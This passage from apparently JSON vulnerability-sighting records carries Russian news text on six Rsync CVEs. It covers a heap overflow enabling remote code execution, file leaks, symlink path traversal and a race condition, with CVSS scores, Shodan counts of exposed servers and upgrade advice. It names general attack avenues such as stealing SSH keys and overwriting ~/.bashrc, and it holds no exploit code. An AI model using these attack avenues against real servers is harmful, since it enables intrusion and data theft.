\u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "3f83188d-58a9-4f8c-ac63-65966f2fb24e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. 